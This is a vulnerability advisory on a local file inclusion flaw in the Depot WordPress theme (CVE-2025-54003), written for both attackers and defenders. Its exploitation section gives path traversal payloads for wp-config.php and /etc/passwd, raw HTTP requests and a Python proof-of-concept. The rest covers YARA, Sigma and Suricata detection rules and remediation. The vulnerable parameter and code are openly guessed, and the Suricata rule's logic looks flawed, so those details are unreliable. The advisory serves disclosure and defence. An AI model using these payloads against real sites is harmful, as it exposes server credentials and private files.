CVE-2025-54003

Executive Summary

CVE-2025-54003 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Depot WordPress theme by Mikado-Themes, up to and including version 1.16. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading configuration files (e.g., wp-config.php), source code, or other system files. The CVSS score of 8.1 (High) reflects the ease of exploitation and the potential for high confidentiality impact. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress site administrators.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Depot theme distributed by Mikado-Themes. As a commercial theme, it is typically installed via WordPress admin or manual upload. The lack of a patch means that all sites running Depot <= 1.16 are at risk. Administrators should immediately check their theme version and consider disabling or replacing the theme until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete disclosure of sensitive server-side data.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) arising from the use of user-supplied input in a PHP include() or require() statement without proper sanitization. In the Depot theme, a parameter (likely page, template, or similar) is passed to a file inclusion function. An attacker can manipulate this parameter to include arbitrary files by using path traversal sequences (e.g., ../../../../etc/passwd).

The core issue is the lack of a whitelist or proper path validation. The theme likely expects a specific set of template files but fails to restrict the input to only those allowed values. This allows an attacker to read any file on the filesystem that the web server user has access to.

Example vulnerable code pattern (conceptual):

$template = $_GET['template'];
include( 'templates/' . $template . '.php' );

An attacker could supply template=../../../../etc/passwd%00 (null byte injection) or simply template=../../../../etc/passwd if the .php extension is not appended.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. A patched version would implement strict input validation, such as:

Vulnerable Code (conceptual):

$file = $_GET['file'];
include( 'includes/' . $file . '.php' );

Patched Code (conceptual):

$allowed_files = array( 'header', 'footer', 'sidebar' );
$file = $_GET['file'];
if ( in_array( $file, $allowed_files ) ) {
    include( 'includes/' . $file . '.php' );
} else {
    // Handle error
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with Depot theme <= 1.16.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable parameter. Common parameters in themes include page, template, file, include, load.
2. Craft a request to include a sensitive file, e.g., wp-config.php:

   GET /?page=../../../../wp-config.php HTTP/1.1
   Host: target.com
   

3. If the theme appends .php, use a null byte or path truncation (though PHP 5.3+ may not allow null bytes). Alternatively, try:

   GET /?page=../../../../etc/passwd%00 HTTP/1.1
   

4. The response will contain the contents of the requested file.

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target.com"
param = "page"
payload = "../../../../etc/passwd"

url = f"{target}/?{param}={payload}"
response = requests.get(url)

if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] LFI failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/, %00).
• Look for requests to the theme directory with suspicious parameters.
• Use WAF rules to block common LFI payloads.

Hardening:

• Disable the Depot theme until a patch is available.
• Implement a Web Application Firewall (WAF) with LFI rules.
• Restrict file permissions so that the web server cannot read sensitive files like /etc/passwd.
• Use a security plugin (e.g., Wordfence) to monitor file inclusion attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ or %2e%2e/ in parameters related to the Depot theme.
  • Requests to wp-content/themes/depot/ with suspicious query strings.
• File System IOCs:
  • Unexpected access to /etc/passwd, wp-config.php, or other sensitive files.
• Log IOCs:
  • Web server logs showing 404 or 200 responses to LFI payloads.

Detection Engineering

YARA Rule

rule CVE_2025_54003_LFI_Depot {
    meta:
        description = "Detects LFI attempts targeting CVE-2025-54003 in Depot theme"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $path_traversal = /(\.\.\/|%2e%2e%2f|%252e%252e%252f)/
        $theme_param = /(page|template|file|include|load)=/
    condition:
        $path_traversal and $theme_param
}

Sigma Rule

title: CVE-2025-54003 LFI Attempt on Depot Theme
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting the Depot WordPress theme.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '%2e%2e%2f'
            - '%252e%252e%252f'
        cs-uri-stem|contains: '/wp-content/themes/depot/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in theme files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54003 LFI Attempt on Depot Theme"; flow:to_server,established; content:"/wp-content/themes/depot/"; http_uri; content:"../"; http_uri; distance:0; content:"%2e%2e%2f"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Depot theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) with rules to block path traversal and LFI attempts.
3. Long-term: Monitor the Mikado-Themes website for a security update. Apply the patch as soon as it becomes available.
4. Alternative: Consider replacing the Depot theme with a more secure alternative.

Valters IT
Securing Digital Frontiers